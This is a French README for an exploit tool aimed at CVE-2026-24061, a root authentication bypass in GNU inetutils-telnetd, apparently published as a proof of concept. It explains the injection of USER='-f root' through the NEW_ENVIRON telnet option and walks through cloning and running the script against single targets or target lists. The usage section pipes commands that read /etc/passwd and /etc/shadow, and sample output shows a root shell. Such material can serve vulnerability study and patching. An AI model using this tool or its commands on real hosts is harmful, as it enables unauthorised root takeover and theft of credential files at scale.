
Preuve de concept : CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification dans GNU inetutils-telnetd permettant à des attaquants distants non authentifiés d'obtenir un accès root immédiat via l'exploitation de l'option telnet NEW_ENVIRON malveillante.
Un outil de recherche en sécurité pour exploiter CVE-2026-24061, une vulnérabilité critique de contournement d'authentification à distance dans GNU inetutils-telnetd qui permet un accès instantané à un shell root sans authentification.
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-24061 |
| Score CVSS v3.1 | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Classification CWE | CWE-88 : Neutralisation incorrecte des délimiteurs d'arguments dans une commande |
| Éditeur | Projet GNU |
| Produit | inetutils-telnetd |
| Date de divulgation | 20 janvier 2026 |
| Correctif disponible | À déterminer |
Une vulnérabilité critique existe dans GNU inetutils-telnetd jusqu'à la version 2.7 qui permet à des attaquants distants non authentifiés de contourner entièrement l'authentification et d'obtenir un accès immédiat à un shell root. La vulnérabilité est exploitée via l'option telnet NEW_ENVIRON en injectant une variable d'environnement USER spécialement conçue avec la valeur "-f root", ce qui contourne tous les mécanismes d'authentification.
| Plage de versions | Statut |
|---|---|
| <= 2.7 | Vulnérable |
| > 2.7 | Statut du correctif : À déterminer |
La vulnérabilité provient d'une validation incorrecte de la variable d'environnement USER dans le gestionnaire d'option NEW_ENVIRON de telnetd. Lors du traitement de l'option telnet NEW_ENVIRON, le service telnetd ne nettoie pas la valeur de la variable USER avant de la transmettre au processus de connexion. En définissant USER à "-f root", l'attaquant injecte des arguments de ligne de commande qui forcent la réussite de l'authentification pour l'utilisateur root sans nécessiter d'identifiants.
Toutes les dépendances font partie de la bibliothèque standard de Python :
| Package | Objectif |
|---|---|
| socket | Communication réseau |
| select | Multiplexage d'E/S |
| sys | Interaction système |
| os | Interface du système d'exploitation |
| threading | Exploitation concurrente des cibles |
| datetime | Formatage des horodatages |
# Clonez le dépôt
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Exécutez l'exploit
python3 main.py -u <ip_cible>
# Téléchargez l'exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Rendez-le exécutable (Linux/macOS)
chmod +x main.py
# Exécutez l'exploit
python3 main.py -u <ip_cible>
# Assurez-vous que Python 3.7+ est installé
python3 --version
# Téléchargez et exécutez
python3 main.py -u <ip_cible>
Usage:
python3 main.py -u <ip_cible> [-p <port>] [-usr <utilisateur>]
python3 main.py -l <fichier_cibles> [-p <port>] [-usr <utilisateur>]
echo "commandes" | python3 main.py -u <ip_cible>
Arguments :
-u Adresse IP ou nom d'hôte de la cible unique
-l Chemin vers le fichier contenant les IP cibles (une par ligne)
-p Port cible (par défaut : 23)
-usr Utilisateur à exploiter (par défaut : root)
Exploiter une instance telnetd unique :
# Exploitation de base (port 23 par défaut, utilisateur root)
python3 main.py -u 192.168.1.100
# Port personnalisé
python3 main.py -u 192.168.1.100 -p 2323
# Utilisateur différent
python3 main.py -u 192.168.1.100 -usr admin
Exécuter des commandes de manière non interactive :
# Commande unique
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Plusieurs commandes
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Commande avec redirection de sortie
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
Exploiter plusieurs cibles à partir d'un fichier :
python3 main.py -l cibles.txt
python3 main.py -l cibles.txt -p 2323
python3 main.py -l cibles.txt -usr admin
Format du fichier cible (cibles.txt) :
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
Remarques :
| Indicateur | Couleur | Description |
|---|---|---|
[SUCCESS] | Vert | Connexion réussie à la cible |
[EXPLOIT] | Vert | Charge utile d'exploitation envoyée avec succès |
[INFO] | Bleu | Message informatif sur l'opération en cours |
[ERROR] | Rouge | Échec de connexion, délai d'attente ou erreur d'exploitation |
[WARNING] | Jaune | Message d'avertissement (non utilisé actuellement) |
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root